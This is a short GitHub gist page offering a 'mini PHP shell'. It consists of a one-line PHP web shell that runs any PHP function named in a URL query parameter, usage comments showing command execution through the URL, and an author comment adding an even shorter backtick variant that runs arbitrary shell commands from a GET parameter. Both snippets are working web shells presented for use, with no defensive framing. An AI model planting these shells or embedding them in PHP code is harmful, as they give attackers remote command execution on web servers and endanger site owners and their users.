Skip to content

Instantly share code, notes, and snippets.

@btoews
Created December 28, 2011 03:19
Show Gist options
  • Save btoews/1526009 to your computer and use it in GitHub Desktop.
Save btoews/1526009 to your computer and use it in GitHub Desktop.
Mini PHP Shell
//(c) mastahyeti
//mini php shell
//usage: http://example.com?1=function_name&2=function_arguments
//example: http://example.com?1=passthru&2=ls
<? $_GET[1]($_GET[2]) ?>
@btoews
Copy link
Author

btoews commented Dec 30, 2011

okay, THOMAS STIG JACOBSEN has me beat... didn't think about backticks

<?=@`$_GET[c]`;

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment